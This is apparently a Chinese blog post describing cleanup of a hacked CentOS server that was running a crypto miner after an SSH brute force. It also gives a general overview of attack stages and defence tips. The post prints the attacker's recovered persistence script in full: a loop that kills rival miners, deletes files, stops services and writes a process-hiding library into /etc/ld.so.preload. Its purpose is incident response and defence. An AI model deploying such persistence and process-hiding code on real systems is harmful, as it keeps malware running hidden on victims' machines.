一、服务器入侵现象
近期有一个朋友的服务器（自己做了网站）好像遭遇了入侵，具体现象是：服务器 CPU 资源长期 100%，负载较高。服务器上面的服务不能正常提供服务。
朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了，开始上手看看了。
二、服务器排查和处理
2.1、服务器被入侵的可能原因
服务器 ssh 密码 设置得很简单。
腾讯云安全组范围放得很大。
使用了宝塔，宝塔面板的密码也是很简单的密码（应该不是这个入侵入口）。
2.2、排查和处理步骤
1.ps -ef / top 找出占用进程最大的服务
问题现象
ps/top命令已经被替换了。
2.查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。
问题现象
[root@VM-12-12-centos ~]# grep ‘Accepted’ /var/log/secure` `Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2``Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2``Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2``Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8``Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8``Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2``Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8``Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
我们在这里就可以看到，有一些境外IP 34.215.138.2成功登录了，这些 IP不是我们的正常登录。在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。
处理措施
这里我们立马采取了第一个措施，
在腾讯云安全组限制了 SSH 的登录IP， 之前的安全组 SSH 是放行所有IP。
将 SSH ROOT 密码修改。
/root/.ssh/authorized_keys备份，并清空。
[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak``cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: PermissION denied
这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP， 所以这个我们可以晚点来处理。
3.查看最近新增的一些用户
问题现象
cat /etc/passwd
处理措施
锁定用户
[root@VM-12-12-centos ~]# usermod -L sys1
我这里不计划去找进程（已经在新建一台版本一致的系统， 来拷贝 top 和 ps 命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。
问题现象
定时任务
crond 读取配置文件会从以下几个路径读取：
/var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户
/etc/crontab，只能root 进行编辑，配置文件需指定用户
/etc/cron.d/，在此文件夹下创建定时任务文件，配置文件需指定用户
/etc/cron.*
/var/spool/cron/未找到（后面会说到这里有障眼法）
/etc/crontab未找到（后面会说到这里有障眼法）
但是我在 /var/log/cron一直看到有任务执行。每间隔5分钟。
Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )``Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
处理措施
这里我们先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现 chattr 也被替换和锁住了。所以不能操作下去了。
开机启动脚本
/etc/rc.local， 我们也发现了一个脚本。
[root@VM-12-12-centos ~]# cat /etc/rc.local` `#!/bin/bash``# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES``#``# It is highly advisable to create own systemd services or udev rules``# to run scripts during boot instead of using this file.``#``# In contrast to previous versions due to parallel execution during boot``# this script will NOT be run after all other services.``#``# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure``# that this script will be executed during boot.`` ``/usr/bin/0f4f80f9ab start
但是这个文件好像不存在的，我们就把这个给注释了。
5.还原更改了 top、ps、chattr、lsattr
首先我们从相同版本的机器拷贝了 chattr、lsattr， 我们得先操作这个， 因为我们的 top 和 ps 都被锁住了。
我将文件上传至 /tmp 目录，然后增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。
/tmp/chattr -ai /usr/bin/chattr
执行完之后，发现还是不能替换 /usr/bin/chattr。最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。
解锁目录
/tmp/chattr -ai /usr/bin/
这下才能把 /usr/bin/chattr 给替换掉。
接下来参考这些，我们把 top 和 ps 、lsattr 给还原了。
部分截图
三、本次入侵需要带来启示的点
1.ps 、top 、chattr 、lsattr
在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。
2.文件内容隐藏
上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。
其实不知道使用了什么特殊字符还是什么隐藏了， 其实是存在定时任务的。
示例：
这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符。导致隐藏了，我在这里 服务器入侵之找出隐藏字符的原理 把这个来龙去脉给讲清楚了。
3.其中一个脚本
[root@VM-12-12-centos etc]# cat /.Recycle_bin/bt_etc_bt.sftp_bt_.sh_t_1661768469.9859464#!/bin/shwhile test 1 = 1dosleep 30pkill -f mainkillall mainkillall sprshduerjsaiapkill -f sprshduerjsaiakillall dr64pkill -f dr64killall .report_systempkill -f .report_systemkillall sshcpkill -f sshcpkill -f memorykillall memorykillall warmupkillall kokokillall kthreaddkkillall systemckillall crontkillall xm64_linuxkillall /var/tmp/j/./intelshellpkill -f dos32pkill -f dos64pkill -f .Namepkill -f /usr/sbin/dbuspkill -f systemd-boot-check-no-failureskillall .report_systempkill -f .report_systempkill -f keep-alivepkill -f linupkill -f zappppkillall [scan]killall [ext4]pkill -f xm64_linuxpkill -f ddrirckillall ./-bashpkill -f ./-bashkillall kworkerskillall dbuspkill -f biden1pkill -f cpuminer-sse2killall work64pkill -f work64killall work32pkill -f work32killall aarch12pkill -f aarch12killall bash1pkill -f bash1killall intelshellpkill -f intelshellkillall heavenpkill -f heavenkillall .syst3mdpkill -f .syst3mdpkill -f apachelogskillall .meinkampfpkill -f .meinkampfkillall xripkill -f xrikillall kokopkill -f kokokillall work32-deamonpkill -f work32-deamonkillall work64 -deamonpkill -f work64 -deamonkillall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdatepkill -f kworkerspkill -f autoupdatekillall ld-linuxpkill -f ld-linuxpkill -9 Donaldkillall -9 Donaldpkill -f /usr/local/bin/pnscanpkill -f /usr/bin/biden1killall /usr/bin/biden1killall rkillall tracepkill -f minerdkillall minerdpkill -f xm64killall xm64pkill -f sysdmkillall sysdmpkill -f syst3mdkillall syst3mdpkill -f xrigkillall xrigpkill -f busyboxkillall busyboxpkill -f josephkillall josephpkill -f osamakillall osamakillall daemonpkill -f obama1killall obama1pkill -f kswapd0killall kswapd0pkill -f jehgmskillall jehgmspkill -f tsmkillall tsmpkill -f rigkillall rigpkill -f xmrkillall xmrpkill -f playstationkillall playstationpkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapdkillall ruckusapdpkill -f run64killall run64pkill -f pwnrigkillall pwnrigpkill -f phpupdatekillall phpupdatepkill -f sysupdatekillall sysupdatepkill -f phpguardkillall phpguardpkill -f firstpresskillall firstpresspkill -f zerocertkillall zerocertpkill -f masscankillall masscanpkill -f -bashpkill -f spreadQlmnopkillall spreadQlmnopkillall -bashpkill -f cnrigkillall cnrigpkill -f netvhostkillall netvhostpkill -f kthreaddskillall kthreaddspkill -f kthreaddkillall kthreaddpkill -f kdevtmpfsikillall kdevtmpfsipkill -f linuxservicekillall linuxservicepkill -f rtmonitorkillall rtmonitorpkill -f devkillall devpkill -f xmrigkillall xmrigpkill -f masterkillall masterkillall sysmdpkill -f sysmdpkill -f sendmailkillall sendmailpkill -f ld-musl-x86_64.killall ld-musl-x86_64.killall watchdogpkill -f watchdogpkill -f 32678killall 32678killall dhpcdpkill -f dhpcdkillall linux_amd64pkill -f linux_amd64killall xredispkill -f xrediskillall Linux2.6killall .chornydpkill -f .chornydkillall Operapkill -f Operakillall libertydpkill -f libertydkillall rcubindpkill -f rcubindkillall clamscanpkill -f clamscankillall pnscanpkill -f pnscankillall zzhpkill -f zzhkillall bioserpkill -f bioserrm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservicerm -rf /etc/.vhost/netvhostrm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/masterrm -rf /usr/bin/busyboxrm -rf /bin/sysmdrm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrigrm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/divsystemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop crytosystemctl stop scansystemctl stop botsystemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysql``done
我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务。
在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。
我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错。
我在清空文件 /etc/ld.so.preload 之后，我发现好了一会后，还是出现这个，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。后面在查看异常进程的时候，我看到了这个进程
发现这个脚本的就是一直在循环执行上面内容。将这个进程 kill 后，然后删除脚本。
四、本次服务器被入侵的一些启示
用好云厂家的安全组。对一些关键端口，放行规则尽量最小/
服务器相关的一些密码尽量增加复杂性。
增加对一些关键文件的监控. (通过监控软件监控 md5值)
服务器入侵之后，我们需要怎么处理才是最好的。
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST
服务器如果有开放 SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure
/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。
服务器如果可以关闭外网，就关闭外网。在安全组层面设置下，或者路由或者NAT。
首先看下 ps/top 命令有没有被篡改， 如果有的话， 从其他正常的机器上拷贝至服务器上。然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。
如果使用过程中遇到了文件不可删，不可改的问题，需要使用 chattr -ia 文件名 如果 chattr 也被串改，那就需要从别的机器拷贝。然后复原。
如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程。
检查开机启动 和 crontab 相关的内容 。
检查异常进程。
以上就是这次入侵的处理过程和得到的一些小启示，后续有了解新的会继续补充。
黑客攻击入侵服务器的6种常见方式
1.服务器的服务信息、服务软件种类及版本。
获取目标服务器提供那些服务及各种服务的软件类型、版本。我们不仅应该关注端口，还应该关注软件，提供同一种服务的软件也可以不同。例如，同样是提供MAil服务，可以使用WebMail、IMail等不同的软件，而WebMail和IMail的漏洞是不一样的，利用漏洞的方法和软件也不一样。
2.服务器的弱点信息
在搜集到一些准备要攻击服务器的信息后，黑客们会探测服务器网络上的每台主机，来寻求系统内部的安全漏洞，这些信息即所谓的弱点信息，主要包括共享信息、弱口令信息、后台信息、网站版本信息、网站漏洞信息、服务器漏洞信息等。
漏洞利用与入侵尝试
当收集到足够的信息之后，黑客就要开始攻击行动了。漏洞的种类有很多，根据不同的漏洞有不同的利用方法和工具。攻击是否成功，取决于漏洞是否存在并正确利用。
3.目标服务器权限获取和提升
入侵成功，则能获得目标系统一定权限，这也是入侵的基本目标。获得网站管理员权限，可以添加、删除、修改新闻以及在网站后台的一切操作权限。获得网站Webshell．可以替换和修改主页、挂黑页、挂木马、删除网站任意程序文件等。获得计算机的最高权限，可以达到完全控制的效果。
权限的扩大即黑客所常说的提权。由于攻击一般都是黑客远程在别的机器上直接利用某些漏洞对目标系统进行攻击并获取一定的权限。 一般利用远程漏洞获取的不一定是最高权限，而往往只足一个普通用户的权限，这样的权限不能实现现黑客的入侵初衷。这时就需要配合一些漏洞来把获得的权限进行扩大，常常是扩大至系统的管理员权限。
只有获得了最高的管理员权限之后，黑客才可以做诸如长期控制、网络监听、清理痕迹、内网渗透之类的事情。完成了权限的提升后，这些个人计算机或服务器将成为黑客的肉鸡，为黑客完全利用，甚至部分被用作跳板、傀儡僵尸攻击和危害其他
4.长期控制及清理痕迹
在成功入侵后，基于入侵目的的不同，黑客一般会选择两种处理方法，一是长期控制，方便随时随地登录目标系统：二是清理痕迹，避免被发现和追踪。
5.长期控制
黑客一般用种植木马或留后门的方式来达到其长期控制的日的。
这里仅仅介绍一下Web脚本木马，就是大家常说的Webshell。脚本木马通过变形或加密等各种手段改造后，放在很深的目录，检测难度非常大，而管理员在做备份的时候，也会把它当正常的网站程序文件进行备份。如此以来，通过这个脚本木马，便可以永久控制该网站。一个好的脚本木马可以结合系统漏洞进行提权，进而控制一台计算机。
6.清理痕迹
无论是入侵网站，还是入侵计算机、服务器，在对目标系统进行各种入侵操作的时候，总会在网站日志和系统日志留下痕迹。根据这些日志，安全人员就能够分析黑客的行为，进而修补漏洞、清理木马和后门。而根据这些日志，网络警察能够调查取证进而追踪和抓捕犯罪黑客。
如何防止服务器被攻击
1、换高防IP或切换高防服务器，流量攻击进入高防IP将异常流量清洗后，保留正常流量转到我们正常服务器IP。
2、网站业务添加CDN，预算充足的情况下可以考虑添加CDN，但是大流量的攻击可能产生高额CDN费用，需要酌情考虑。
3、定期排查服务器安全漏洞，及时修补服务器漏洞，防止被黑客利用漏洞进行服务器攻击。
4、设置防火墙，防火墙是可以在部分攻击上打到抵御的效果的，禁用一些不用的端口防止非法分子利用其端口进行攻击，同时可以通过防火墙设置把攻击重定向。
5、提升服务器配置，一般的攻击如果不是非常猛烈，可以适当提升服务器带宽，CPU和内存，保证资源不被攻击消耗殆尽。
6、通过反向路由进行ip真实性检测，禁用非真实IP也可以防御攻击。
7、限制SYN/ICMP流量，在路由器上配置SYN/ICMP的最大流量限制SYN/ICMP封包所能占有的最高频宽，大量的异常流量那基本上就是攻击了。
8、过滤所有RFC1918，IP地址RFC1918是内部网的IP地址，过滤攻击时伪造的大量虚假内部IP，也是能减轻攻击DDOS攻击。
以上就是血泪教训！服务器被入侵怎么办？排查过程全分享的详细内容，更多相关资料请阅读主机测评网其它文章！